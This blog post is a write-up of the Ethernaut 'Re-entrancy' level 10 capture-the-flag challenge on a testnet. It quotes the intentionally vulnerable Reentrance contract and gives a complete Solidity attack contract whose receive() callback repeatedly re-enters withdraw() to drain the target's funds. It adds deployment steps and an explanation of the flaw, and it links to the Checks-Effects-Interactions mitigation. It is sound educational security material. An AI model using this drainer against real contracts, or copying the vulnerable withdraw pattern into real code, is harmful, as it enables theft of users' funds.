Re-entrancy - Level 10
Tags: 100daystooffload, ethernaut, solidity, ethereum
Published: 2023-12-25 16:46:35

## Problem statement

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

* Untrusted contracts can execute code where you least expect it.
* Fallback methods
* Throw/revert bubbling
* Sometimes the best way to attack a contract is with another contract.
* See the ["?"](https://ethernaut.openzeppelin.com/help) page above in the top right corner menu, section "Beyond the console"

```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, `Get new instance`. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window. This address will be used later.

```js
await contract.address
```

We should also check the funds of the contract to know how much we will need to steal.

```js
await getBalance(contract.address)
```

With this information we can continue to next step. Open a new tab in your browser (Ctrl+t) and go to [Remix](https://remix.ethereum.org/).

In the file explorer, create a new file and name it `AttackReentrancy.sol`.

![Remix file explorer](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tri70zw0b74sajtxctsy.png)

The following code should be added as content for the file.

```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

interface Reentrance {
  function withdraw(uint _amount) external;
  function donate(address _to) external payable;
}

contract AttackReentrancy {
    address toAttack;
    uint donateValue = 1000000000000000; // 0.001 eth

    constructor(address payable _address) payable {
        toAttack = _address;
    }

    function initAttack() public {
        Reentrance(toAttack).donate{value: donateValue}(address(this));
        Reentrance(toAttack).withdraw(donateValue);
    }   

    receive() external payable{
        if (address(toAttack).balance != 0 ) {
            Reentrance(toAttack).withdraw(donateValue); 
        }
    }
}
```

Got to the compiler and compile the `AttackReentrancy` contract.

![Compile contract](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6zg81eiyrw2yz8o1yyd8.png)

When the contract has been compiled it's possible to deploy it to the Sepolia network. This is done in the `DEPLOY & RUN TRANSACTIONS` view in Remix. Make sure to use the environment, `Injected Provider - MetaMask`. It's also important that we give the contract some funds to be able to make the attack, and the address to the contract (among the first steps in this section).

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cyqjbd2ue24rkjp7jz7o.png)

When the contract has been deployed (you should have signed the transaction with MetaMask), the `initAttack` method should be available for us. Push the button with the name `initAttack`.

![initAttack button](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x8v9106s2kkwrnnkdzdy.png)

Once again sign the transaction with your MetaMask wallet. Jump back to the web console window when the transaction has been confirmed and check the balance of the contract once more.

```sh
await getBalance(contract.address)
```

If the balance is `zero`, then we have succeeded and we can finish the challenge by clicking the button, `Submit instance`, to commit and update the progress on the ethernaut contract.


## Explanation

The re-entrancy problem is a classic type of an attack, where the DAO Hack is the most famous one.

The sensitive code in the contract is inside this function:

```js
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
```

A transaction is executed in a single thread synchronously, each operation step by step. However when we use the `msg.sender.call` method we will open up a way to make this execution path more dynamic.

![Step by step](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rna3jvh4ggoa3tl1srst.png)

In this case, `Step 2`, is replaced with the `msg.sender.call`, since we are able to deploy our own contract to act as a proxy for our transactions we can add steps to this path.

![modified step by step](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xt2we533isnzlwobhw9c.png)

By doing this we can keep calling the withdrawal method until  we got all the funds, which is done in our receive function: 

```js
    receive() external payable{
        if (address(toAttack).balance != 0 ) {
            Reentrance(toAttack).withdraw(donateValue); 
        }
    }
```

The contract that is attacked do not update the balance of the callers deposit until the step after the `msg.sender.call`, and we are able to put our withdrawal loop before that. That update will be executed to late in this threads of steps.

```
balances[msg.sender] -= _amount;
```

The author of this challenge leaves us with a good summary of how to mitigate these kind of problems.

![Message from author](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bbtamdooz11y9zona7vc.png)

## Resources

* [Re-entrancy](https://ethernaut.openzeppelin.com/level/10) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation
* [Use the Checks-Effects-Interactions Pattern](https://docs.soliditylang.org/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern)